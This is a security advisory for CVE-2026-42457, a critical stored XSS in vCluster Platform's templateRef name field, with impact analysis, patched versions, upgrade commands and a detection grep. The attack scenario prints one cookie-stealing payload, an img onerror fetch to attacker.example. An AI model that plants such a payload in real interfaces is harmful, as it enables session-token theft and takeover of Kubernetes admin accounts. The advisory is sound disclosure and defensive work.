vCluster Platform Stored XSS via templateRef Name Field
vCluster Platform, the multi-tenant Kubernetes management platform from Loft Labs used to provision and share virtual clusters, has disclosed CVE-2026-42457, a stored cross-site scripting (XSS) vulnerability carrying a CVSS score of 9.0 (Critical). The flaw allows an attacker with access to create or modify template references to inject persistent JavaScript into the platform UI, which then executes in the browsers of any administrator or user who views the affected templateRef.
Patches are available across all maintained branches: 4.4.3, 4.5.5, 4.6.2, 4.7.1, and 4.8.0.
Vulnerability Details
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-42457 |
| CVSS Score | 9.0 (Critical) |
| CWE | CWE-79: Improper Neutralization of Input During Web Page Generation (XSS) |
| Attack Type | Stored Cross-Site Scripting (Persistent XSS) |
| Vulnerable Component | templateRef name field in vCluster Platform UI |
| Authentication Required | Yes — user with templateRef create/edit permissions |
| User Interaction | Required — victim must view the affected templateRef |
| Affected Versions | < 4.4.3, < 4.5.5, < 4.6.2, < 4.7.1 |
| Patched Versions | 4.4.3, 4.5.5, 4.6.2, 4.7.1, 4.8.0 |
| Disclosure Date | May 14, 2026 |
How the Attack Works
Root Cause
vCluster Platform's web UI renders the name field of templateRef objects without adequate HTML sanitization. Template references are used to associate virtual clusters with predefined configuration templates, and their names are displayed in multiple UI views including cluster management dashboards and creation wizards.
When an attacker supplies a name containing a JavaScript payload — such as <script> tags or event handler attributes — the string is stored in the backend and later injected directly into the DOM without escaping, causing the script to execute in any user's browser that loads the containing page.
Attack Scenario
1. Attacker has access to create or edit templateRef objects in vCluster Platform
(e.g., a developer with cluster provisioning rights, or a compromised account)
2. Attacker sets the templateRef name to a malicious payload:
<img src=x onerror="fetch('https://attacker.example/steal?t='+btoa(document.cookie))">
3. The payload is stored persistently in vCluster Platform's database
4. Any administrator or user who views the templateRef in the UI:
— The page renders the unsanitized name field
— The injected script executes in the victim's browser
— Session tokens, cookies, or CSRF tokens are exfiltrated to the attacker
5. With harvested tokens, the attacker can escalate access within the Kubernetes environmentWhy This is Critical in a Kubernetes Context
vCluster Platform is an administrative control plane for Kubernetes multi-tenancy. Successful exploitation can have outsized consequences:
- Cluster admin token theft — Platform administrators are the primary target; their tokens grant full control over virtual cluster provisioning, namespaces, and tenant isolation
- Cross-tenant impact — A compromised platform admin can dissolve tenant boundaries, granting an attacker access to workloads across all virtual clusters
- CI/CD pipeline compromise — Many teams integrate vCluster Platform into their deployment pipelines; harvested tokens can be abused to backdoor automated builds
- Persistent foothold — Since the payload is stored, every admin who views the templateRef list is silently attacked without any user action beyond normal platform use
Affected Versions
| Branch | Vulnerable Versions | Patched Version |
|---|---|---|
| 4.4.x | < 4.4.3 | 4.4.3 |
| 4.5.x | < 4.5.5 | 4.5.5 |
| 4.6.x | < 4.6.2 | 4.6.2 |
| 4.7.x | < 4.7.1 | 4.7.1 |
| 4.8.x | All prior builds | 4.8.0 |
Remediation
Upgrade vCluster Platform
Loft Labs has released patches for all actively maintained branches. Upgrade to the latest patched release for your branch:
# Helm upgrade (most common deployment method)
helm repo update
helm upgrade vcluster-platform loft/vcluster-platform \
--set image.tag=v4.8.0 \
--namespace vcluster-platform
# Verify the running version
kubectl get pods -n vcluster-platform -o jsonpath='{.items[*].spec.containers[*].image}'Interim Controls
If immediate upgrade is not possible:
- Audit existing templateRefs — Review all templateRef names for suspicious content (script tags, event handler attributes, JavaScript URIs)
- Restrict templateRef write access — Apply RBAC to limit who can create or modify template references; prefer read-only roles for most users
- Content Security Policy (CSP) — If your vCluster Platform deployment sits behind a reverse proxy, consider injecting a strict
Content-Security-Policyheader that blocks inline script execution - Monitor for anomalous requests — Watch for outbound HTTP requests from admin browsers to unknown endpoints during platform UI sessions
Detection: Audit TemplateRef Names
# List all templateRefs and inspect name fields for suspicious content
kubectl get templateref -A -o json | \
jq '.items[] | {name: .metadata.name, templateRefName: .spec.template.metadata.name}' | \
grep -i 'script\|onerror\|onload\|javascript'Background: vCluster Platform
vCluster Platform (formerly Loft) is an enterprise solution built on top of the open-source vCluster project. It provides centralized management of virtual Kubernetes clusters, enabling platform engineering teams to offer self-service cluster provisioning to development teams while enforcing cost controls, policy, and multi-tenant isolation.
Template references (templateRef) are a core feature that allow platform teams to define approved cluster configurations — selecting Kubernetes versions, resource quotas, network policies, and add-ons — that developers can instantiate without needing full cluster admin rights.